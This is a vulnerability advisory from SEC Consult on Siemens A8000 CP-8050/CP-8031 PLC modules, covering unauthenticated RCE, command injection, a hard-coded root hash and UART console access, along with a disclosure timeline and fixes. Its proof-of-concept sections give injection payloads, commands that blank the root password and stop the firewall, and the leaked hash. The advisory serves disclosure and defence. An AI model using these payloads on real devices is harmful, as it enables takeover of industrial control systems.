SEC Consult Vulnerability Lab Security Advisory < 20230703-0 >
=======================================================================
               title: Multiple Vulnerabilities including Unauthenticated RCE
             product: Siemens A8000 CP-8050 MASTER MODULE (6MF2805-0AA00)
                      Siemens A8000 CP-8031 MASTER MODULE (6MF2803-1AA00)
  vulnerable version: <= V04.92
       fixed version: CPCI85 V05
          CVE number: CVE-2023-28489, CVE-2023-33919, CVE-2023-33920,
                      CVE-2023-33921
              impact: Critical
            homepage: https://www.siemens.com
               found: 2023-02-15
                  by: Stefan Viehböck (Office Vienna)
                      Christian Hager (Office Vienna)
                      Steffen Robertz (Office Vienna)
                      Gerhard Hechenberger (Office Vienna)
                      Gorazd Jank (Office Vienna)
                      Constantin Schieber-Knoebl (Office Vienna)
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult, an Eviden business
                      Europe | Asia

                      https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"We are a technology company focused on industry, infrastructure,
transport, and healthcare. From more resource-efficient factories,
resilient supply chains, and smarter buildings and grids, to cleaner
and more comfortable transportation as well as advanced healthcare,
we create technology with purpose adding real value for customers."

Source: https://new.siemens.com/global/en/company/about.html


Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately.
Customers should update to CPCI85 V05 or later version.
(https://support.industry.siemens.com/cs/ww/en/view/109804985/)

SEC Consult highly recommends to perform a thorough security review of
the product conducted by security professionals to identify and resolve
potential further security issues.


Vulnerability overview/description:
-----------------------------------
1) Unauthenticated Remote Code Execution (CVE-2023-28489)
By sending an HTTP request with a crafted header to port 80/443 of
the PLC, arbitrary commands can be executed as system user. The port
is used to configure and control Siemens PLCs with the Siemens
Toolbox II application and is typically accessible on such devices.

2) Authenticated Command Injection (CVE-2023-33919)
Due to missing server-side input sanitation, any user with access to
the SICAM WEB interface can execute arbitrary commands as user "root"
on the device. This works by setting malicious parameters and starting
an Ethernet package capture.

3) Hard-coded Root Password (CVE-2023-33920)
The PLC contains a hard-coded "root" user password hash. This
password hash is the same on all devices. If the corresponding
password is known, it could be used to login via UART and SSH.

4) Console Login via UART (CVE-2023-33921)
The UART interface can be accessed with physical access to the PCB.
After connecting to the interface, boot information is given and a
login prompt is provided. Login as "root" user is possible after
changing the hard-coded "root" password hash (see 1,2, and 3).


Proof of concept:
-----------------
1) Unauthenticated Remote Code Execution (CVE-2023-28489)
To exploit this vulnerability, an HTTP request including the command
must be crafted. No "/" characters can be used, therefore commands
are encoded as base64, e.g., "id" as "aWQ=". The command must be
provided as UPLOADFILENAME header. A full command looks as follows:

;echo aWQ=| base64 -d | sh #

The following header format must be obeyed:
* User-Agent: SICAM TOOLBOX II
* Session-ID: [ARBITRARY 16 CHARACTERS]
* UPLOADFILENAME: [COMMAND]

Additionally, the request body must contain the following POST parameters:
* type=20
* length=[ARBITRARY]
* data=[ARBITRARY]

A valid request can be seen below:
-----------------------------------------------------------------------
[ POC request removed ]
-----------------------------------------------------------------------

If it worked, the response body will be "type=21". Additionally, the
output on the UART interface indicates code execution as root user:
-----------------------------------------------------------------------
base64: /ies/IN/_: No such file or directory
uid=0(root) gid=0(root)
-----------------------------------------------------------------------

Subsequently, the SSH port can be opened by sending the following
commands separately and encoded as base64 string. They will replace
the set default root password hash with an empty password hash,
reconfigure the Dropbear SSH daemon and stop the firewall:
-----------------------------------------------------------------------
sed -i
s'/:$6$jNY7stPOMCNi$bMqOCQX0ClFK3PyNPUyDvuF2xKOJ8j00v79.wXGV0BG7cxKc8aCo\/FWtDljQjCbm6JnZqxiMg
re5P14Kv2zAH1:/:32BZgrJ3XBMoY:/' /etc/shadow
sed -i s'/"$DROPBEAR_ARGS -R -s -g"/"$DROPBEAR_ARGS -R"/' /etc/init.d/dropbear
/etc/init.d/dropbear restart
/etc/init.d/rc.firewall stop
-----------------------------------------------------------------------

After this, login via SSH as root is possible:
-----------------------------------------------------------------------
ssh root@[IP]
root@[IP]'s password:
~# id
uid=0(root) gid=0(root) groups=0(root),10(wheel)
~#
-----------------------------------------------------------------------


2) Authenticated Command Injection (CVE-2023-33919)
To trigger the command injection vulnerability, the payload must be set in
the "LAN port group" field on the SICAM WEB page "Monitoring & Simulation"
-> "Ethernet Packet Capture" section "Capture configuration"
(other fields may also be affected).
As the web interface only provides a drop-down menu, the payload must
be set by manipulating the JavaScript logic or by directly manipulating
the HTTP request as below, where "ping [IP]\nBBBBBBB" was set:

-----------------------------------------------------------------------
POST /sicweb-ajax/rtum85/cview HTTP/1.1
Host: [HOST]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/xml
SICWEB-SID: xNG1v825qFmCMo8hpjfISlVARKipW1B+lz9d5FoBxipR87VT
Content-Length: 198
Origin: http://[HOST]
Connection: close
Referer: http://[HOST]/

<?xml version="1.0" encoding="UTF-8"?>
<Cmd_SetCustomViewValue><view id="packet_capture"><parameter id="p0">
<value>
ping [IP]
BBBBBBB</value>
</parameter></view></Cmd_SetCustomViewValue>
-----------------------------------------------------------------------

The line break in the payload is especially important, as the command is
executed as part of a shell script.
This script is generated and executed by pressing the "Start/Stop trace"
button in the "Capture Controlling" section and saved as
/tmp/incws_tcpdump.sh. An excerpt with the injected command is shown
below:

-----------------------------------------------------------------------
[...] # lets start tcpdump
tcpdump -i
ping [IP] BBBBBBB '(ether host 00:11:11:33:44:00) and (host 1.1.1.2 or host 2.2.2.34) and (port 999)' -C 1 -W 4 -U -w /var/log/wireshark.pcap &
[...]
-----------------------------------------------------------------------

The executed script creates a process running as root user, which can
be seen by running "ps" on the device:

-----------------------------------------------------------------------
root        1100  0.0  0.1   1784  1168 ?        S    Feb21   0:00 /bin/sh /etc/init.d/rc.sysinit
root        1149  0.1  0.3  11768  1748 ?        S1   Feb21   6:03  \_ /ies/apps/system/bin/ISV00.elf /ies/apps/sys_desc/target_rc.json
[...]
www-data    1487  0.0  0.6   7568  3444 ?        S    Feb21   0:40      \_ /usr/sbin/lighttpd -Df /etc/lighttpd/lighttpd.conf
root       10655  0.0  0.2   1880  1344 ?        S    04:55   0:00      \_ /bin/sh /tmp/incws_tcpdump.sh
root       10667  0.0  0.2   1884  1360 ?        S    04:57   0:00          \_ ping [IP]
-----------------------------------------------------------------------


3) Hard-coded Root Password (CVE-2023-33920)
A hard-coded "root" user password hash can be found in the /etc/shadow
file:
-----------------------------------------------------------------------
root:$6$jNY7stPOMCNi$bMqOCQX0ClFK3PyNPUyDvuF2xKOJ8j00v79.wXGV0BG7cxKc8aCo/FWtDljQjCbm6JnZqxiMg
re5P14Kv2zAH1:16436:0:99999:7:::
-----------------------------------------------------------------------


4) Console Login via UART (CVE-2023-33921)
The serial console (UART) can be accessed on the backside of the PCB
on two Vias. After removing an additional logic IC, receiving data and
sending data is possible with the following UART settings:
* Voltage: 3.3V
* Speed: 115200 Baud
* Symbol-ratio: 8 Data Bits 1 Stop Bit (8N1)
Extensive boot log output can be received. Some output is shown below:
-----------------------------------------------------------------------
U-Boot SPL 2013.01.01 (Jan 16 2020 - 12:56:02)
BOARD : Altera SOCFPGA Cyclone V Board
CLOCK: EOSC1 clock 50000 KHz
[...]
Starting IES system
-----------------------------------
Welcome to SICAM IES
-----------------------------------

Welcome to
      _______. __    ______     ___      .___  ___.
     /       ||  |  /      |   /   \     |   \/   |
    |   (----`|  | |  ,----'  /  ^  \    |  \  /  |
     \   \    |  | |  |      /  /_\  \   |  |\/|  |
.----)   |   |  | |  `----./  _____  \  |  |  |  |
|_______/    |__|  \______/__/     \__\ |__|  |__| RTUs

[...]
sicam login:
-----------------------------------------------------------------------

Additionally, a console login form is displayed. Login is possible if
the password for the set "root" user password hash (see 3) is known.


Vulnerable / tested versions:
-----------------------------
The following product has been tested:
* Siemens A8000 CP-8050 04.92
* Siemens A8000 CP-8031 04.92


Vendor contact timeline:
------------------------
2023-03-14: Contacting vendor through productcert@siemens.com, sending
             encrypted advisory
2023-03-29: Naming researchers involved
2023-03-31: Requesting state. Vulnerability 1 will be published first
             due to criticality. Rest will follow.
2023-04-11: Siemens releases advisory for unauthenticated RCE
             (Vulnerability 1, CVE-2023-28489)
2023-06-13: Siemens releases advisory for vulnerability 2, 3 and 4
             (CVE-2023-33919, CVE-2023-33920, CVE-2023-33921)
2023-06-21: Siemens has additional feedback regarding the contents of the
             advisory.
2023-07-03: Release of security advisory.


Solution:
---------
Update to firmware CPCI85 V05 or later version, see vendor advisory
for further information:
https://cert-portal.siemens.com/productcert/html/ssa-472454.html
https://cert-portal.siemens.com/productcert/html/ssa-731916.html


Workaround:
-----------
Restrict network access to the A8000 CP-8050/CP8031 module or disable the
Toolbox II communication on port 80/443. Make sure to strictly limit
physical access to the PLC during and also after its life cycle.


Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Eviden business
Europe | Asia

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and valid recommendation about the risk profile of new technologies.

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EOF Stefan Viehböck, Christian Hager, Steffen Robertz, Gerhard Hechenberger,
Gorazd Jank, Constantin Schieber-Knoebl / @2023